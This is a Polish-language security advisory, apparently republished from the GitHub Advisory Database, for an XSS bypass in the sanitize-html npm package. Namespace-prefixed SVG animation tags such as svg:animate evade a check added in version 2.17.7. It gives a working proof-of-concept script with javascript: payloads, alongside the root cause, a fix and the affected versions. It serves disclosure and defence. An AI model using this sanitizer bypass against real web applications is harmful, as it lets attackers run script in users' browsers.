ApostropheCMS sanitize-html: Pominięcie prefiksu przestrzeni nazw animacji SMIL umożliwia wstrzyknięcie URI javascript: (XSS)
Podsumowanie
W sanitize-html 2.17.7 wprowadzono animatesUrlAttribute() w celu blokowania elementów animacji SVG (animate, animateColor, animateMotion, animateTransform, set), gdy ich attributeName wskazuje na ujście URL, takie jak href. Jednakże weryfikacja ta jest omijana, gdy element animacji używa prefiksu przestrzeni nazw (np. svg:animate zamiast animate).
Przyczyna źródłowa
Funkcja animatesUrlAttribute (index.js, linia ~832) sprawdza svgAnimationTags.indexOf(name.toLowerCase()), gdzie svgAnimationTags zawiera proste nazwy lokalne: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. Biblioteka htmlparser2 przekazuje nazwy tagów z prefiksem przestrzeni nazw dosłownie, więc svg:animate nie pasuje do animate w tablicy, co powoduje zwrócenie przez funkcję wartości false i pominięcie ochrony przed XSS w SMIL.
Jak na ironię, funkcja prawidłowo obsługuje prefiksy przestrzeni nazw dla docelowej wartości attributeName (linia ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — lecz to samo oczyszczanie nie zostało zastosowane do samej nazwy tagu.
Proof of Concept
const sanitizeHtml = require("sanitize-html");
const config = {
allowedTags: false,
allowedAttributes: false,
allowedSchemes: ["http", "https"]
};
// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
`<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED
// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
`<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
Wszystkie 5 elementy animacji SMIL można pominąć za pomocą dowolnego prefiksu przestrzeni nazw (svg:, xlink:, xml:, warianty pisane wielkimi literami). Przetestowano i potwierdzono w sanitize-html 2.17.7 z monorepozytorium apostrophe.
Wpływ
Cross-site scripting (XSS) poprzez przekierowanie animacji SMIL. Gdy aplikacja używa allowedTags: false (częste w edytorach tekstu sformatowanego, które zachowują SVG), atakujący może wstrzyknąć <svg:animate attributeName="href" values="#safe;javascript:..." .../>, aby nadpisać atrybut href nadrzędnego elementu <a> po załadowaniu strony, powodując wykonanie JavaScriptu po kliknięciu linku.
Sugerowana poprawka
Usunięcie prefiksu przestrzeni nazw z nazwy tagu przed wyszukiwaniem, zgodnie ze wzorcem już stosowanym dla docelowej nazwy atrybutu:
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {
// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
Wersje dotknięte podatnością
sanitize-html >= 2.17.7 (gdzie wprowadzono ochronę animacji SMIL). Wcześniejsze wersje w ogóle nie posiadają ochrony SMIL.
Podziękowania
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Co trzeba zrobić
Zaktualizuj sanitize-html do wersji 2.18.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | sanitize-html | >= 2.17.7, < 2.18.0 | 2.18.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N- Słabość (CWE)
CWE-79- Platforma
- npm
- Paczka
sanitize-html- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 21:31
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-374f-7chj-9948 - CC BY 4.0
Historia podatności: sanitize-html
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 15
- Pierwsza → ostatnia
- 11.2018 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 1
- Średnia 12
- Niska 1
Ujawnienia w latach
- 2018: 2
- 2019: 0
- 2020: 1
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 7
-
ApostropheCMS sanitize-html: Pominięcie prefiksu przestrzeni nazw animacji SMIL umożliwia wstrzyknięcie URI javascript: (XSS) ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.